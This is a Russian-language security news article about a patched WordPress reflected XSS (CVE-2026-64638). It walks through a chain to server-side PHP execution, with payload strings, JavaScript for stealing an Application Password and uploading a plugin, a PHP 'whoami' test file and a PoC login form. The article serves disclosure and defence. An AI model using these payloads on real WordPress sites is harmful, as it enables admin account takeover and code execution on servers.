Новая XSS-уязвимость WordPress может привести к выполнению PHP-кода

В WordPress исправили уязвимость отражённого межсайтового скриптинга (XSS), которую можно эксплуатировать без предварительной аутентификации. Исследователи pwn.ai показали цепочку XSS2Shell, позволяющую использовать эту проблему для выполнения PHP-кода на сервере WordPress.

Уязвимость получила идентификатор CVE-2026-64638 и оценку 8,9 по CVSS. Она затрагивает поддерживаемые версии WordPress до 7.0.3 включительно. Для начальной эксплуатации атакующему не требуется учётная запись: достаточно отправить специально сформированное имя пользователя через стандартную страницу входа.

После обработки такого имени WordPress может создать управляемые атакующим элементы DOM на странице ошибки входа. Затем собственный JavaScript WordPress автоматически взаимодействует с этими элементами и инициирует выполнение JavaScript в origin сайта.

Для дальнейшего перехода к выполнению PHP-кода требуется авторизованный администратор и его взаимодействие с подготовленной атакующим страницей. В продемонстрированной цепочке это сводится к одному посещению страницы и последующему автоматическому выполнению действий браузером.

WordPress выпустил исправление 6 августа 2026 года в версии 7.0.3. Патч также был перенесён во все поддерживаемые ветки начиная с 4.7. Версии старше 4.7 остаются уязвимыми, но больше не входят в диапазон веток, для которых выпускаются исправления безопасности.

Начало цепочки

При попытке входа через wp-login.php WordPress передаёт введённые имя пользователя и пароль в wp_signon(), а затем в wp_authenticate().

Если указанного пользователя не существует, wp_authenticate_username_password() формирует сообщение об ошибке, в которое подставляется введённое имя пользователя:

return new WP_Error(
    'invalid_username',
    sprintf(
        __(
            '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.'
        ),
        $username
    )
);

К этому моменту значение $username уже прошло через sanitize_user() в нестрогом режиме. Эта функция использует wp_strip_all_tags().

Проблема заключается в том, что wp_strip_all_tags() в итоге использует стандартную PHP-функцию strip_tags(). Её парсер распознаёт начало HTML-тега, когда после символа < сразу идёт буква.

Если между < и именем элемента поставить пробел, PHP уже не считает конструкцию HTML-тегом:

strip_tags('< area id=test>'); // сохраняется
strip_tags('<area id=test>');  // удаляется

Именно это различие используется на первом этапе атаки.

Разные парсеры WordPress

После формирования ошибки объект WP_Error возвращается через wp_signon() в wp-login.php. Далее сообщение проходит через login_header() и wp_admin_notice(), которая использует wp_kses_post().

wp_kses_post() является собственным HTML-санитайзером WordPress и использует другой механизм разбора HTML.

В отличие от strip_tags(), KSES допускает пробел между < и именем элемента. Поэтому конструкция вроде < area> интерпретируется уже как элемент <area>.

Элемент area входит в список разрешённых HTML-элементов KSES. В том же списке находятся, например, div и button, причём для них разрешён ряд атрибутов, включая id, class, href и name.

В результате две функции по-разному обрабатывают одну и ту же строку. wp_strip_all_tags() оставляет её как текст, а wp_kses_post() позднее воспринимает как разрешённый HTML.

После обработки браузер получает реальные DOM-элементы, созданные из значения, которое контролирует атакующий.

Само по себе появление этих элементов ещё не означает выполнение JavaScript. Следующий этап заключается в поиске уже загруженного на странице скрипта WordPress, который сможет автоматически взаимодействовать с ними.

Использование user-profile.js

При обычной загрузке страницы входа WordPress подключает скрипт user-profile.js.

Этот JavaScript предназначен для страницы редактирования профиля /wp-admin/profile.php. Он отвечает, в частности, за генератор паролей, проверку их сложности и выбор цветовой схемы административной панели.

Скрипт также загружается на странице входа, поскольку wp-login.php используется для сброса пароля. WordPress подключает user-profile.js ко всей странице, а не только к конкретному действию сброса пароля.

В скрипте есть обработчик, который реагирует на нажатие на элементы .color-option внутри #color-picker:

$('#color-picker').on('click', '.color-option', function() {
    var user_id = $('input#user_id').val();
    var new_user_id = $('input[name="checkuser_id"]').val();

    if (user_id === new_user_id) {
        $.post(ajaxurl, {
            action: 'save-user-color-scheme',
            color_scheme: $(this)
                .children('.color-palette')
                .data('color-scheme'),
            nonce: $('#color-nonce').val()
        });
    }
});

На странице профиля необходимые элементы присутствуют. На странице входа их нет.

Однако после parser differential атакующий может добавить их в DOM.

В user-profile.js также присутствует обработчик, автоматически вызывающий .click() для кнопки .wp-generate-pw, если она находится внутри .reset-pass-submit:

$('.reset-pass-submit')
    .find('.wp-generate-pw')
    .trigger('click');

На обычной странице входа таких элементов нет. После внедрения они появляются в DOM, и обработчик WordPress автоматически инициирует событие click.

При этом обработчик получает значения:

$('input#user_id').val()
$('input[name="checkuser_id"]').val()

Оба поля отсутствуют на странице входа, поэтому jQuery возвращает undefined.

Проверка фактически превращается в:

undefined === undefined

Результат — true.

Таким образом, код доходит до вызова $.post(ajaxurl, ...).

DOM clobbering через ajaxurl

На административных страницах WordPress переменная ajaxurl содержит адрес admin-ajax.php и создаётся через wp_localize_script.

На странице входа эта переменная не объявляется. В браузерах необъявленный идентификатор в определённых условиях может разрешаться через свойства объекта window. HTML-спецификация предусматривает именованные свойства окна: элемент с атрибутом id может становиться доступным как свойство window.

Поэтому внедрённый элемент с id="ajaxurl" позволяет заменить отсутствующую переменную объектом DOM.

Исследователи использовали конструкцию с элементом area:

< area id=ajaxurl href=/test>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

В результате window.ajaxurl начинает ссылаться на внедрённый элемент area.

jQuery ожидает от $.post() URL. Передаваемый DOM-элемент преобразуется в строку, а HTMLAreaElement получает значение из своего href.

Таким образом, href="/test" приводит к отправке same-origin POST-запроса на /test.

При этом пользователь ничего дополнительно не нажимает. Запрос формируется собственным JavaScript WordPress после взаимодействия с внедрёнными DOM-элементами.

REST API и JSONP

Следующий этап заключается в перенаправлении такого запроса в REST API WordPress.

В качестве URL можно использовать публичный REST-маршрут и попросить сервер обработать POST как GET:

/?rest_route=/&_method=GET&_jsonp=alert

Параметр rest_route=/ выбирает корневой публичный endpoint REST API.

_method=GET позволяет REST-серверу обработать исходный POST как GET.

Параметр _jsonp задаёт функцию, в которую WordPress должен обернуть результат.

В результате сервер формирует JavaScript-подобный ответ:

/**/alert({
    "name": "My Site",
    "description": "Just another WordPress site"
})

Запрос выполняется через $.post() без явного указания типа ответа. Когда jQuery получает Content-Type: application/javascript, он рассматривает ответ как JavaScript и передаёт его на выполнение. В результате alert() выполняется уже в origin WordPress.

Таким образом, изначальная XSS превращается в выполнение произвольного JavaScript в контексте сайта.

Если анонимный REST-запрос возвращает HTTP 401, исследователи используют _envelope=1. Этот параметр помещает внутренний ответ с кодом 401 в оболочку с внешним статусом HTTP 200. jQuery проверяет внешний статус и продолжает обрабатывать тело ответа как JavaScript.

Same Origin Method Execution

Следующий этап XSS2Shell основан на технике Same Origin Method Execution (SOME), которую ранее описал Паулос Ибело.

Ключевая особенность JSONP в WordPress заключается в проверке имени callback. Разрешённые символы включают буквы, цифры, точки и некоторые другие элементы, поэтому callback может представлять не только имя глобальной функции, но и цепочку свойств.

Вместо простого:

alert

можно указать цепочку вида:

window.opener.approve.click

JavaScript интерпретирует её последовательно: обращается к window, затем к opener, после этого к свойству approve и наконец к методу click.

Если в окне-родителе существует элемент с id="approve", механизм именованных свойств позволяет получить этот элемент через window.approve.

Вызов .click() приводит к нажатию на элемент в родительском окне.

Это позволяет перенести выполнение из окна с XSS в окно, где уже находится авторизованный администратор.

Получение Application Password

Для полноценного перехода к выполнению PHP-кода исследователи создали HTML-страницу, которая открывает дочернее окно:

var child = window.open('about:blank');

После этого основное окно переводится на стандартную страницу WordPress для авторизации внешнего приложения:

/wp-admin/authorize-application.php

В URL передаются имя приложения, идентификатор и success_url.

Эта страница открывается внутри полноценной сессии администратора. На ней находится кнопка подтверждения с id="approve".

Дочернее окно отправляет специально сформированную XSS-нагрузку. На этом этапе JSONP callback уже содержит цепочку:

window.opener.approve.click

После перехода дочернего окна в origin WordPress JavaScript получает возможность обратиться к window.opener. Цепочка доходит до кнопки approve в родительском окне и вызывает её автоматически.

WordPress воспринимает это как подтверждение доступа внешнего приложения.

Скрипт auth-app.js получает nonce из страницы и отправляет REST-запрос для создания Application Password. После создания учётные данные передаются на указанный атакующим success_url.

Application Password предназначен для доступа к API и является отдельным от основного пароля администратора credential.

В результате атакующий получает действующий API-доступ от имени администратора.

Публикация JavaScript через REST API

Application Password можно использовать для аутентифицированных запросов к REST API WordPress.

Исследователи использовали этот доступ для создания опубликованной страницы:

fetch('https://target/wp-json/wp/v2/pages', {
    method: 'POST',
    headers: {
        'Authorization': 'Basic ' + btoa('admin:APPLICATION_PASSWORD'),
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        title: 'x',
        status: 'publish',
        content: ''
    })
});

На обычной односайтовой установке администратор по умолчанию обладает возможностью unfiltered_html. Поэтому JavaScript, помещённый в содержимое страницы, не удаляется при публикации.

После создания страницы атакующий переводит браузер администратора на неё.

Скрипт выполняется уже в origin WordPress и использует cookie-сессию администратора.

Загрузка плагина

Последний этап цепочки связан с загрузкой ZIP-архива через административный интерфейс WordPress.

Скрипт сначала получает страницу загрузки плагина и извлекает из неё nonce:

let html = await fetch(
    '/wp-admin/update.php?action=upload-plugin'
).then(r => r.text());

let nonce = html.match(
    /name="_wpnonce" value="([^"]+)"/
)[1];

Затем формируется FormData с ZIP-файлом:

let form = new FormData();

form.append('_wpnonce', nonce);
form.append(
    'pluginzip',
    attackerZipBlob,
    'payload.zip'
);

После этого архив отправляется в WordPress:

await fetch(
    '/wp-admin/update.php?action=upload-plugin',
    {
        method: 'POST',
        body: form
    }
);

WordPress проверяет nonce и права пользователя, после чего распаковывает архив в wp-content/plugins/.

В продемонстрированной цепочке активация плагина не требовалась. PHP-файл внутри распакованного каталога можно было запросить напрямую по URL.

Для проверки исследователи использовали минимальный PHP-файл, который возвращал признак выполнения кода и имя пользователя процесса:

<?php

header('Hacked: true');

echo json_encode([
    'rce' => true,
    'user' => system('whoami')
]);

В тестовой среде сервер вернул ответ с признаком выполнения PHP-кода и пользователем www-data.

После завершения проверки исследователи удалили созданную Application Password, опубликованную страницу и каталог плагина. Постоянное присутствие в системе в рамках этого теста не оставлялось.

Полный путь атаки

Таким образом, цепочка XSS2Shell состоит из нескольких последовательных этапов.

Сначала специально сформированное имя пользователя проходит через wp_strip_all_tags() из-за различий в обработке HTML между PHP strip_tags() и WordPress KSES. Затем wp_kses_post() превращает сохранённую строку в реальные DOM-элементы.

user-profile.js, который загружается на странице входа из-за поддержки сброса пароля, автоматически взаимодействует с внедрёнными элементами.

Отсутствующие поля приводят к успешной проверке undefined === undefined, а DOM clobbering позволяет подменить отсутствующую переменную ajaxurl.

WordPress отправляет сформированный same-origin запрос в REST API. JSONP превращает ответ в JavaScript, который выполняется в origin сайта.

Затем техника SOME позволяет обратиться из дочернего окна к кнопке в окне администратора и автоматически подтвердить создание Application Password.

Полученные учётные данные используются для публикации страницы с JavaScript. Когда администратор открывает эту страницу, код выполняется уже в его cookie-сессии и получает nonce для загрузки плагина.

После загрузки ZIP-архива PHP-файлы внутри каталога становятся доступными напрямую. Это завершает переход от первоначальной XSS без аутентификации к выполнению PHP-кода на сервере.

Proof of Concept

Исследователи также опубликовали минимальный PoC начальной XSS. Он отправляет POST-запрос на wp-login.php с вредоносным значением поля имени пользователя:

<form method="post" action="https://TARGET/wp-login.php">
    <input type="hidden" name="log"
        value="< area id=ajaxurl href=/?rest_route=/&amp;_method=GET&amp;_jsonp=alert>
        < div id=color-picker class=reset-pass-submit>
        < button class=&quot;wp-generate-pw color-option&quot;>X">

    <input type="hidden" name="pwd" value="x">
</form>

Критичным элементом нагрузки являются пробелы сразу после символов <. Если убрать эти пробелы, strip_tags() удалит конструкции как обычные HTML-теги и цепочка перестанет работать.

Для окружений, где REST API возвращает 401, исследователи предложили вариант с _envelope=1.

Они также описали альтернативный маршрут через другой REST endpoint для случаев, когда сетевые правила или WAF блокируют запросы с параметром rest_route.

Затронутые версии

Уязвимость затрагивает все версии WordPress, находившиеся под активной поддержкой до выпуска 7.0.3.

WordPress выпустил исправление 6 августа 2026 года и перенёс его во все поддерживаемые ветки вплоть до 4.7.

Источник: pwn.ai

Похожие статьи

Рекомендательные технологии Подробнее
Кибербезопасность 6 месяцев назад

OpenClaw начинает сканировать расширения через VirusTotal, чтобы блокировать вредоносные скиллы

OpenClaw, популярный открытый ИИ-агент, интегрировал проверку навыков через VirusTotal для выявления вредоносных расширений на маркетплейсе ClawHub. Новая система анализирует загружаемые навыки, фильтруя опасные и повышая безопасность экосистемы.

Кибербезопасность 1 месяц назад

152 расширения Chrome с 105 тысячами установок уличили в распространении adware и подделке трафика

Исследователи выявили сеть из 152 расширений Chrome, распространявших потенциально нежелательное ПО и подделывавших источники трафика. Расширения имитировали органические переходы из Google и собирали данные пользователей вопреки заявлениям в магазине Chrome.

Кибербезопасность 6 месяцев назад

Поддельные пакеты Python на PyPI доставляли RAT

Анализ вредоносной кампании, в которой поддельные Python-пакеты на PyPI маскировались под инструменты проверки орфографии, а на самом деле устанавливали удалённый троян. Раскрыты механизмы сокрытия, действия трояна и рекомендации по защите.

Кибербезопасность 3 месяца назад

Критическая уязвимость в Marimo взломана через 10 часов после раскрытия

В Marimo обнаружили критическую уязвимость удаленного выполнения кода до аутентификации, и ее начали эксплуатировать уже менее чем через 10 часов после публичного раскрытия. Злоумышленник смог украсть облачные ключи и другие учетные данные меньше чем за три минуты.